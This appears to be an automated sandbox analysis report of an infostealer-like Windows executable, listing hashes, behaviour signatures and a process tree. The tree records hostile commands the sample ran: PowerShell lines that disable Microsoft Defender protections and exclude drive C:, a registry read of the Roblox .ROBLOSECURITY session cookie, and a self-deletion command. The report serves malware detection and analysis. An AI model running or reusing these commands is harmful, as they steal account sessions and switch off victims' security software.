Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    22/03/2025, 06:18

General

  • Target

    e64b687735f08d83a710e6e493346feb.exe

  • Size

    228KB

  • MD5

    e64b687735f08d83a710e6e493346feb

  • SHA1

    42330b4138ce8d74ddf94ccde3cf56678aea4c78

  • SHA256

    c5527f31480ac48e227122ccc4239db78bf3094bbbba6f6e1dd6c30e788ac7ae

  • SHA512

    f51fb52208429fc9b97881f23d34145bf06a9526827c1ce19240fbf21b1627d0d9b6012584c98ce432a72470fcf33a7e3ec344085f1c83822f29f6accb8846c1

  • SSDEEP

    6144:RPTRtufdY7vzXpjYgV53GUEMlqJ8eFNL++y:MG7vzZXW+4NH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e64b687735f08d83a710e6e493346feb.exe
    "C:\Users\Admin\AppData\Local\Temp\e64b687735f08d83a710e6e493346feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e64b687735f08d83a710e6e493346feb.exe"
      2⤵
      • Views/modifies file attributes
      PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2340
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1692
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2876
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:2132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1284
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1620
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e64b687735f08d83a710e6e493346feb.exe" && pause
        2⤵
        • Deletes itself
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:1380
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2264

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      5a8d1b097566742f16ad626e193c530d

      SHA1

      036f0372d4deb0f8bcd69ccfc64bc7c0ac817b79

      SHA256

      6a4ca9cd2134942c2ae7db279675d24bffb858c40ae7b767d3619d773e6a68e4

      SHA512

      0918aa3c7085f87306f912b941194aef60a3def530e353a411172f402f832ab29234e690b7064b693036019cbd664a275563a06b944885becee4876aea3fb420

    • memory/2108-8-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2108-15-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2108-7-0x000007FEED80E000-0x000007FEED80F000-memory.dmp

      Filesize

      4KB

    • memory/2108-10-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

      Filesize

      32KB

    • memory/2108-11-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2108-9-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2108-13-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2108-12-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2108-14-0x000007FEED550000-0x000007FEEDEED000-memory.dmp

      Filesize

      9.6MB

    • memory/2628-0-0x000007FEF53B3000-0x000007FEF53B4000-memory.dmp

      Filesize

      4KB

    • memory/2628-2-0x000007FEF53B0000-0x000007FEF5D9C000-memory.dmp

      Filesize

      9.9MB

    • memory/2628-36-0x000007FEF53B0000-0x000007FEF5D9C000-memory.dmp

      Filesize

      9.9MB

    • memory/2628-35-0x000007FEF53B3000-0x000007FEF53B4000-memory.dmp

      Filesize

      4KB

    • memory/2628-1-0x00000000008F0000-0x0000000000930000-memory.dmp

      Filesize

      256KB

    • memory/2628-58-0x000007FEF53B0000-0x000007FEF5D9C000-memory.dmp

      Filesize

      9.9MB

    • memory/2948-21-0x000000001B650000-0x000000001B932000-memory.dmp

      Filesize

      2.9MB

    • memory/2948-22-0x0000000001F70000-0x0000000001F78000-memory.dmp

      Filesize

      32KB